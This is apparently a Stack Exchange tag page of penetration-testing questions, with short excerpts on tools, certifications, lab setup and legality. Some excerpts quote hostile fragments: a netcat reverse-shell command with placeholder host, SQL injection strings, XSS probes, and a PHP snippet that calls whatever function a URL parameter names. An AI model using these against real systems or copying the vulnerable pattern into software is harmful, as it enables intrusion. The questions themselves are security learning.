An attempt to penetrate a system's security in an effort to evaluate the protections in place.

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Is it acceptable that a skilled professional pentester deletes or modifies sensitive data in production unintentionally during a pentest?

Today I experienced a situation where a person responsible for the security of a company required a pentesting company to withdraw a clause in the contract that says that: "during the pentest there ...
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Do actual penetration testers actually use tools like metasploit?

I've played around with metasploit simply as a hobby but am wondering if actual pentesters and/or hackers actually use metasploit to get into systems or do they write their own post exploitation ...
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Google hacking - why “numrange” is so dangerous?

I'm reading Google Hacking for Penetration Testers and in book it's said several times operator "numrange" is especially powerful and dangerous. However, they don't give example of using this ...
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Web Crawler for ASP.NET site

Do you know any crawler/spider software, which is able to go through ASP.NET application, not ASP.NET MVC, but the one full of __doPostBack JavaScript functions on every link/button/change event? If ...
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SSL traffic manipulation through ettercap MitM and iptables

I am trying to understand the relation between some tools and concepts used for MitM on a wifi network and how https transaction (over this wifi network) between an android app and the respective ...
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Pentest — handling multiple reverse shells

I'm running a pentest and im expecting reverse shells from multiple shells connecting back as :- nc <my-ip> <my-port> -e /bin/bash However, I'm trying to figure out the best way to ...
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WPA cracking with Crunch, JTR & Aircrack

Now I assume that everyone knows of aircrack-ng and John The Ripper with it's fantastic ability to pause and resume cracking. With that aside, I want to add Crunch into the mix, however I can't seem ...
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IoT security assessment guidance [on hold]

Can anyone guide on how can we perform security assessment if a machine is communicating to cloud using MQTT or CoAP protocols? Any help in terms of Methodology, Tools will be helpful. I'm not sure ...
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Open-source penetration-test automation

What order do typical open-source penetration tests operate? Which tools are run first, second, third -- and how do you control them? Does one simply use Metasploit RC files? A network vulnerability ...
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CRT / CHECK vs OSCP certification [on hold]

Which is harder? If I see 2 pentesters, one with one and one with the other who would this information alone qualify above the other? I know it doesn't work like this and it is all down to experience ...
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I'm Inside a Target Corporate Building, How Do I Penetrate The Computer in Front of Me? [on hold]

So the scenario is being able to access Target Building for a Pentest. Explain some methods I can use to target the computer in front of me. Some info: The Corporate network is extended with several ...
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What is a good browser for web application pen testing? [closed]

I am getting started in testing web applications, and I am having trouble verifying vulnerabilities. It seems all modern browsers have protections against things like XSS. When something like Burp ...
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Why does Hydra return 16 valid passwords when none are valid?

I've been playing around with Hydra and DVWA and I've hit a bit of a snag - Hydra responds letting me know that the first 16 passwords in my password list are correct when none of them are. I assume ...
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Cryptographic Testing

Given an algorithm (say, AES), how to create/generate test vectors? I have tried using the NIST test vectors for AES and found it to be working fine with a package of "chilkat". Suppose, for a ...
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Security analysis of Dashlane

I've been asked by a user whether I would recommend using the Dashlane password manager. I'm aware that other password managers have had some significant security problems, including XSS and CSRF ...
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Testing Basic Authentication with ncrack

I'm conducting some basic pen testing against a page protected with Basic Authentication. I've sucessfully tested with Medusa and Hydra but am struggling to get the syntax correct for ncrack. The ...
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Login required before SQLmap

I have a multipart form data where I am suspecting one of the multipart form fields (parameter named htmlbevt_id), to be vulnerable to SQLi. To test for the same I captured the request using Burp and ...
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Stored Cross-Site Scripting Without Parentheses or Spaces

I'm testing a commenting application that takes a link of the form http://google.com and puts it in an href tag as so: <a rel="nofollow" href="http://google.com"> The resulting comment is ...
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What NIC for a NUC?

I have been doing external pentests using the Intel NUC (D34010WYK1). It has been a very stable machine running Kali Linux. I am at point now that I would like to do some wireless testing. Has ...
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How to convince my management of a physical security risk?

While I do not claim to be an expert in all things security based, I'd think that I have a good grounded knowledge of what is acceptable and what is not in regards to digital security. After giving ...
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Windows netsh pivoting

I am pentesting a windows box to which I have gained system privileges. This box has two network interfaces. I have been able to reach machines on the second interface via the below netsh command. ...
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Software Testing vs (Web) Penetration Testing

I would like to ask about the differences between Software Testing and Web Application Penetration Testing. I am aware of usage different tools in both disciplines Software Testing (JIRA/Selenium) ...
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Is it possible to emulate real network printer i.e. to run some actual firmware in VM?

I've got to the section related to network printers exploitation while going through one security course. Under "network printer" I understand standalone devices with a dedicated ethernet\wireless ...
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Setting up a security lab, looking for a little guidance [duplicate]

I'm new here. Over the past couple of years I've had a growing interest in the security aspects of IT/CS. Recently, I've started setting up a lab for myself based on a kali/win7 dualboot and I've ...
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sqlmap cannot find injection vulnerability

I create a page called register.php which will take 4 parameters user, pass, email, comments. And the pass is vulnerable to sql injeciton. I have tested the vulnerability manually by filling test', ...
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How to pen-test RAP applications

Has any of the readers here got experience with pen-testing RAP (Remote Application Platform) applications? I am particularly interested in testing on input validation. A cursory research at google ...
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Question about padbuster … newbie

New to this type of attack trying to understand this .net oracle padding attack, i'm using this data : padbuster ...
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XSS when some keywords are prevented on the server side

When I scan website with burp suite pro, I encountered a XSS. This XSS is <a b=c> When Burp suite test other payloads that contain keywords like script, alert, onerror, this parameters ...
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Trouble understand login vulnerabilities

I'm testing my own web page with the following vulnerabilities. #1: Form escapes ' to \' So if a user tries to enter the following information: username: 'or'1=1 password: m username will ...
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How to concatenate 2 function in php [migrated]

I have an application with the following code: <?php if(isset($_GET['function'])){ $_GET['function'](); } ?> So if i entered this url: http://localhost/?function=phpinfo I ...
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Wifi penetration testing: Why aireplay-ng de-authentication does not work?

I am trying to pentest the security of the password of my wireless network. It is a WPA2 with pre-shared-keys. My current computer is connected to the wifi router and I try to de-auth my own machine. ...
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Determining a version of SSH from penetration testing?

I am a software developer -- but not a security specialist. A (legitimate) company that does security scans sent my company a notice that we are running an older version of SSH on our hosting server. ...
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How to create a OSx pen testing environment

I currently use OSx Maverick, I wish to use this machine as my pen testing machine as I also prefer coding on this machine. My current pentest machine is running Kali. Can anyone give me good tips on ...
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What are some good website security scanning solutions?

What are some good web-based website security scanning solutions? I'm not too concerned if they are web-based solutions, or software that can be run locally. Generally, I'm looking for something we ...
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What are legal/ethical concerns to bear in mind, when hacking websites with open invitations?

I was reading another question which mentions a site that had a page inviting people to try to hack it, and it made me wonder. Lets assume, for the sake of this rather hypothetical question, that a ...
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Wireless Testing - monitor mode issues

I am currently learning about Wireless testing and have stumbled across a couple of little issues. The system setup I am working on is as outlined below: Kali Linux - 64-Bit (GNOME v3.4.2) Virtual ...
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eCPPT vs. OSCP Certification

I am a soon to be college student. I am looking to become certified in pentesting for both personal interest as well as to be able to have something that would look good to future employers. Both ...
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Determining false positives when scanning for live hosts with Nmap

When doing a vulnerability assessment on a large network, it seems general practice to determine which hosts on the network are live. This can be done in various ways. From what I have read it is ...
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Resources to learn about Windows systems exploitation [closed]

I'm a beginner in penetration testing, and I'm struggling with finding decent material to learn. I used book about nmap, Metasploit, exploit writing etc..., but they contained too much information ...
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At what point does “hacking” become illegal? (US)

Hypothetical situation: before I hire a web development company I want to test their ability to design secure web apps by viewing their previous client's websites. Issue: this situation raises a big ...
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proxychains-ng with nmap issues

Can anyone tell me if proxychains-ng has limitations to work with nmap? I found that it does not work well when using -sV option in nmap. (stop at "Initiating NSE at ..." and never finish the scan) ...
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Questions to confirm a good standpoint on web app security?

What should be the questions asked to assess a company on web app security? Our company is in process of partnering with another company in order to outsource web app security work to them. For us ...
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Virtual Pentesting Lab on popular Enterprise level UTM and SIEM

I’m planning to add a new Penetration Testing Segment to my personal “Pen Lab”. It’ll be centered around Vulnerability Assessments /Penetration Testing on market leading Next-Gen Enterprise ...
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Question about job interview - Penetration Tester [closed]

I am little scared about following question: why do you want to be a penetration tester? Can anyone help me with an example of ethical answer?
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OAuth2 Authorization and Resource Server security check

I'm about to launch a web api using OAuth2 for authentication (authorization code, implicit and client credentials flows). The protocol is implemented using the DotNetOpenAuth v4.3 library. Although a ...
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Ruby resources for Penetration testing/testers and ethical hackers [closed]

I'm wondering if there is a place where I can find up-to-date information regarding ethical hacking with Ruby. I do find lot of Python information, which is OK, but I have 4 years of experience coding ...
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MongoDB Nosql injection in python code

Here is the code snippet for accessing to MongoDB. client = MongoClient() db = client.test_database collection = db.test # Get data from fields condition = form.getvalue('name') if condition: ...
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Testing for HTTP TRACE method

How can I test for HTTP TRACE on my web-server? I need to train a Tester how to verify that the HTTP TRACE method is disabled. Ideally I need a script to paste into Firebug to initiate a https ...
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ruby on rails pentesting web applications

I am currently testing a RoR web application, but I am honestly at a bit of a loss, I have never gone up against a RoR application before and I was wondering if there were any specific tools I could ...
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Is creating secondary account on Black-Box Pentest Forbidden? [closed]

Okay, so here it goes. I am the Red Team Lead, and as described earlier; not far (like about a week), I posted this. At the time, I was looking for a beautiful technical title which could match down ...